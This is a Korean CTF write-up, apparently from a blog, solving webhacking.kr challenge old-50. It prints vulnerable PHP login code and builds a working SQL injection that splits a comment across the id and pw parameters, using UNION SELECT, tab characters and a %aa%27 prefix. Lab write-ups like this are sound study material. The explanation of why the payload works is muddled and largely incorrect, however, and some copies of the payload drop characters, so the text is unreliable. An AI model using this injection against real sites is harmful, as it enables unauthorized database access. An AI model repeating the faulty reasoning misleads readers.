
코드 분석
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\\(|\\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
- id, pw 파라미터 값을 받아 각각을 addslashes()로 이스케이프 시킨다.
- id 파라미터 인코딩 방식을 "utf-8" 에서 "euc-kr"로 바꾼다.
- id, pw에 from , pw , ( , ) , 공백 , % , = , > , < 이 들어갈 경우 프로그램을 종료한다.
- id에 union이 들어갈 경우도 프로그램을 종료한다.
- sql 쿼리를 실행해 lv 값을 가져온다.
- lv 값이 3이면 clear
SQL문을 따로 빼보자.
select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
만약 내가 id를 test로 입력하고 pw를 passwd로 입력하면 쿼리는 이렇게 될 것이다.
select lv from chall50 where id='test' and pw=md5('passwd')
익스플로잇
pw=md5('passwd')코드에서 pw파라미터는 암호화 된다. 따라서 pw는 우회하는 코드를 넣어도 암호화로 인해 먹히지 않을 것이 분명하다.
따라서 pw에 대한 md5 암호화를 무력화(주석화) 해야한다.
핵심 : union을 이용해서 이런 형태의 쿼리문을 만든다.
select lv from chall50 where id='test'/*and pw=md5('{$_GET['pw']}*/union select 3
형광펜 : url에 입력할 부분
그러면 실질적 쿼리문은 이렇게 될 것이다.
select lv from chall50 where id='test' union select 3
SQL쿼리문 중간에 주석 /* */이 들어가는게 가능한가
SELECT * FROM users /* WHERE is_admin = 1 */ WHERE status = 'active';
위와 같이 /* */ 안의 내용은 실행되지 않는다. 또한, -- (더블 대시)는 한 줄 주석으로 사용된다.
SELECT * FROM users -- WHERE is_admin = 1
WHERE status = 'active';
이 경우 '--' 뒤의 내용은 무시된다.
id 파라미터는 union에 대한 검증이 있으므로, pw 파라미터를 이용하기로 한다.
하지만 위에서 말했듯이 md5 함수로 묶어져 있기 때문에 이를 무력화 시켜야 union을 삽입할 수 있을 것이다.
id: test%aa%27/* (test’/*)
pw : */union%09select%093%23d (*/union select 3)
select lv from chall50 where id='test%aa/*and pw=*/union%09select%093%23d
- 공백(' ') 필터링 : %09로 우회
- %필터링 : %23d로 우회
- 싱글 쿼터(’) 필터링 : %aa를 붙여서 우회(ª')
- %27 : 싱글 쿼터(')
익스플로잇 코드
?id=test%aa%27/*&pw=*/union%09select%093%23d
페이로드 URL 디코딩
?id=testª'/&pw=/union select 3#d
페이로드 분석
위 페이로드를 URL 디코딩하면 다음과 같다.
?id=testª'/&pw=/union select 3#d
(1) id=testª'/*
- testª' → id 값에 '을 추가하여 SQL 구문의 문자열을 닫음
- /* → 이후 부분을 SQL 주석 처리하여 필터를 우회
SELECT lv FROM chall50 WHERE id='testª'/*' AND pw=md5('...')
/* 이후가 주석이 되므로 pw=md5(...) 부분이 무시됨
%aa가 왜 필요한가?
일반적으로 SQL Injection에서는 다음과 같이 입력하면 필터를 통과해야 한다.
?id=test'
그러나 이 코드에는 다음과 같은 필터가 있다.
foreach($_GET as $ck) if(preg_match("/from|pw|\\(|\\)| |%|=|>|</i", $ck)) exit();
- |%| → % 문자가 포함된 입력을 차단
- | | → 공백(스페이스) 포함 차단
즉, 공백과 % 문자가 필터링 되므로 정상적으로 SQL Injection을 실행하기 어렵다.
그러나 %aa를 추가하면 공백 없이 쿼리를 깨뜨릴 수 있는 ASCII 문자를 삽입할 수 있다.
%aa의 역할 : 필터 우회용 더미 문자
- PHP의 preg_match()에서 | | (공백)과 % 기호를 필터링하고 있음
- %aa(ª)를 추가하면 공백 없이 필터를 우회하면서도 SQL 구문을 깨뜨릴 수 있음 %aa(ª, ASCII 170)를 삽입하면 공백 없이 필터를 우회할 수 있음
- 일부 SQL 파서(특히 특정 문자셋을 사용하는 경우)에서는 **ª'**를 만나면 싱글 쿼트(')를 새로운 문자열 시작으로 해석할 가능성이 있음
- %aa%27 → '가 정상적으로 실행되는 조건을 만들어 줌
즉,
- %aa를 포함하면 id='testª'가 되고,
- %aa가 없으면 SQL 구문이 정상적으로 닫히지 않아 오류 발생.
(2) pw=*/union%09select%093%23d
- */ → 이전에 /*로 열었던 주석을 종료
- union%09select%093%23d : 원래 union select 3# 인데 공백을 %09로 우회하고 #는 %23d로 우회하였다.
우회 원리 정리
1. 공백(' ') 필터링 우회 → %09 (탭 문자)
- %20(공백)은 필터링됨 → preg_match("/ |%/i", $ck)) exit();
- %09(탭, ASCII \\t)는 필터링되지 않음 → SQL에서는 공백처럼 해석됨
- 따라서 UNION SELECT → UNION%09SELECT 로 우회 가능
2. % 필터링 우회 → %23d (샤프 # 주석 추가)
- % 자체가 필터링됨 (/ |%/ 때문에 % 사용 불가)
- 하지만 %23(ASCII #, SQL 주석) 뒤에 더미 문자(d 등)를 추가하여 %23d로 우회 → # 뒤에 있는 SQL 코드는 실행되지 않음.
?id=admin'--
이런 형태를 사용하고 싶어도 -- 이후에 공백을 넣어야 하는데 공백이 필터링됨.
그래서 %23d를 추가하여 우회하는 방법을 사용.
3. 싱글 쿼터(') 필터링 우회 → %aa (ª')
- '(싱글 쿼트) 필터링이 걸려 있거나, 일부 WAF에서 '가 있는지 검사
- %aa(ª, ASCII 170)를 추가하여 '를 우회 (ª')
- 일부 DBMS에서는 ª가 무시되거나 정상적으로 '로 인식될 가능성이 있음
- 따라서, test%aa%27/* → testª'/* 로 필터를 우회 가능
Payload 입력
?id=test%aa%27/&pw=/union%09select%093%23d
=>
https://webhacking.kr/challenge/web-25/?id=test%aa%27/*&pw=*/union%09select%093%23d

'Webhacking.kr' 카테고리의 다른 글
| old-32 (0) | 2026.05.13 |
|---|---|
| old-25 (0) | 2026.05.13 |
| old-43 RevengE (0) | 2026.05.13 |
| baby toctou(Race Condition) (0) | 2026.05.12 |
| old-28 (1) | 2026.05.12 |